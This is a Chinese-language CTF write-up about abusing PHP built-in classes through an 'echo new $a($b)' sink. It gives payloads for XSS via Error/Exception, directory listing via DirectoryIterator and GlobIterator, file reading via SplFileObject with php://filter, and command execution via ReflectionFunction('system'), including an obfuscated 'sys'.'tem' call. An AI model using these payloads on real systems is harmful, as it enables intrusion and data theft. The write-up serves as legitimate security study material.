这是ctfshow的一道比赛题
先来看看源码
<?php
error_reporting(0);
if(isset($_GET['source'])){
highlight_file(__FILE__);
echo "\$flag_filename = 'flag'.md5(???).'php';";
die();
}
if(isset($_POST['a']) && isset($_POST['b']) && isset($_POST['c'])){
$c = $_POST['c'];
$count[++$c] = 1;
if($count[] = 1) {
$count[++$c] = 1;
print_r($count);
die();
}else{
$a = $_POST['a'];
$b = $_POST['b'];
echo new $a($b);
}
}
?>
$flag_filename = 'flag'.md5(???).'php';
绕过第二个if判断是利用了数组溢出的原理
然后进入else语句
一般看到echo new $a($b)这种形式,就需要考虑利用php的原生类来遍历目录以及读取文件
报错类
Error
在PHP7版本中,因为Error中带有__toString
方法,该方法会将传入给__toString
的参数原封不动的输出到浏览器。在这么一个过程中可能会产生XSS。
a=Error&b=<script>alert(1);</script>&c=9223372036854775806
Exception
与Error类似,Exception同样有__toString
方法,因此测试代码和上方一样,传入以下payload,同样可以XSS。
a=Exception&b=<script>alert(1);</script>&c=9223372036854775806
遍历目录类
DirectoryIterator
DirectoryIterator类的__construct
方法会构造一个迭代器,如果使用echo输出该迭代器,将会返回迭代器的第一项
返回了一个点,这个点代表这当前目录
如果要匹配其他文件,要利用glob协议
glob协议支持通配符,所以对于不知道文件名的文件可以利用通配符进行匹配
FilesystemIterator
与DirectoryIterator类似,但实际使用时发现有些不同
GlobIterator
无需加glob协议,因为这是自带的
读取文件类
SplFileObject
SplFileObject类为文件提供了一个面向对象接口
也就是说我们可以利用这个来读取文件,例如
a=SplFileObject&b=flag.php
但是由于这个类返回的是迭代器,所以不能完整的读出文件,所以就要利用php://filter来将文件内容以全部输出
回到这道题
我们可以利用
FilesystemIterator、DirectoryIterator或GlobIterator找到flag所在的目录,再用SplFileObject读出文件内容
但是这道题中flag文件并不叫flag.php而是flag.md5(???).php,所以我们要用通配符找到真正的flag文件,
在通配符中,?代表一个字符,但是必须存在,而*表示存在任意个字符,但是也包括零个,所以因为迭代器的性质,只加*就只能匹配到flag.php
但是如果我们用FilesystemIterator,我们可以直接加路径看到这个flag文件,不太理解为什么
接下来就是用SplFileObject读出来就然后base64解个码就行
反射类获取注释
看见这个想起了去年国赛我唯一出了的一道题
<?php
highlight_file(__file__);
class User
{
private static $c = 0;
function a()
{
return ++self::$c;
}
function b()
{
return ++self::$c;
}
function c()
{
return ++self::$c;
}
function d()
{
return ++self::$c;
}
/**
* flag
*/
function e()
{
return ++self::$c;
}
function f()
{
return ++self::$c;
}
function g()
{
return ++self::$c;
}
function h()
{
return ++self::$c;
}
function i()
{
return ++self::$c;
}
function j()
{
return ++self::$c;
}
function k()
{
return ++self::$c;
}
function l()
{
return ++self::$c;
}
function m()
{
return ++self::$c;
}
function n()
{
return ++self::$c;
}
function o()
{
return ++self::$c;
}
function p()
{
return ++self::$c;
}
function q()
{
return ++self::$c;
}
function r()
{
return ++self::$c;
}
function s()
{
return ++self::$c;
}
function t()
{
return ++self::$c;
}
}
$rc=$_GET["rc"];
$rb=$_GET["rb"];
$ra=$_GET["ra"];
$rd=$_GET["rd"];
$method= new $rc($ra, $rb);
var_dump($method->$rd());
flag在注释里但并不会被显示出来,但是我们可以利用通过反射 ReflectionMethod 类来获取类方法的相关信息
?rc=ReflectionMethod&ra=User&rb=e&rd=getDocComment
直接查看类可以用ReflectionClass
反射类不仅仅可以建立对类的映射,也可以建立对PHP基本方法的映射,并且返回基本方法执行的情况。因此可以通过建立反射类new ReflectionClass(system('cmd'))
来执行命令
ReflectionFunction
这玩意能执行命令
demo
<?php
$function = new ReflectionFunction('system');
echo $function->invoke("whoami");
?>
<?php
$function = new ReflectionFunction('call_user_func');
echo $function->invokeArgs(array('s'.'y'.'s'.'tem','whoami'));
//array(%27s%27.%27y%27.%27s%27.%27tem%27,%27cat%20/f%27.%27lag%27)
?>